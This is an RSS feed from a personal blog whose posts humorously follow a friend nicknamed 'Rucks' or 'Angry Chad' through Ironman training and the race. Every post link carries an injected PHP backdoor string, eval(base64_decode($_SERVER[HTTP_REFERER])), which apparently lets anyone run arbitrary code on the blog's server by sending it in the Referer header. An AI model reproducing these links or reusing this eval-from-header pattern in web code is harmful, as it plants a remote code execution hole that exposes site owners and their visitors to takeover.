http://ruckssucks.com Countdown Thu, 14 Feb 2008 21:42:19 +0000 http://backend.userland.com/rss092 en I have discovered recently that there is an antidote to Angry Chad. Well, we will think of it as an alternative to the long and drawn out multi step process that is an absolute necessity when dealing with Angry Chad on long rides. the Antidote is: RUNNERS HIGH. If you have ... http://ruckssucks.com/2008/02/14/hair-gel/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Rucks has been attending the standing rides and multisport workouts recently so I thought I would post some Do's and Don'ts with respect to his behavior in a group dynamic. Specifically I am talking about how to deal with Angry Chad on an interpersonal level while on 2 wheels. It is ... http://ruckssucks.com/2008/01/08/supplement/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#1 Final Smackdown Update: " Clydesdales com'in through!!" Well It is finally over. The quest for his first Ironman finish is complete and our boy has emerged on the other side a different (and much smaller) person. He went from a dude who had a lot of motivation and drive but ... http://ruckssucks.com/2007/11/07/rs1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS Number Two Intro Here we are on the eve of the big day; it has been a long and interesting 8 months to say the least. A journey that officially started 364 days ago has almost come to fruition. What follows is intended to lighten the mood of one of the ... http://ruckssucks.com/2007/11/06/rs2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#6 Six days Angry Chad is in full effect right now. The taper is not going well per Rucks. "Everything hurts, its been forever since I have ridden long, I feel generally tired,and I don't have a hat for the race yet(what????)..." it goes on and on. From my experience 3 weeks ... http://ruckssucks.com/2007/10/29/rs6/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#9 Skinny Jeans While we were in Hawaii, my wife and I did a bit of running around without the kids( good reason for taking the parents.." Dad I would really be honored if you could go see me do this race......" ). One night we saw someone drinking an energy drink ... http://ruckssucks.com/2007/10/26/rs9/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#12 I just got the official word: The e-mail has been sent to Ironman North America to change our boy's confirmed status in the race from agegroup to clydesdale. It looks like the smackdown is back on baby!!!! He will be racing with a couple spare tires that will be bringing some ... http://ruckssucks.com/2007/10/23/rs12/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#13 Should be deep into a taper, and trying to get odds and ends taken care of...... Well the hay is in the barn now -or whatever the saying is that Gigantor is fond of- and Rucks and everyone should be thinking taper and rest right now. Nothing left to be done ... http://ruckssucks.com/2007/10/22/rs13/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Random RS quote: "Dude , what the heck is a fartlek, do I even want to know?" http://ruckssucks.com/2007/10/05/random-rs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ RS#32 An End In Sight As we all know Rucks has been training and gearing up for IM FLA 07 since the day after Ben and I denied him his "final" backyard burger last year about this time(see RS#200). It has been a long year and honestly as I started to get ... http://ruckssucks.com/2007/10/03/rs32/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/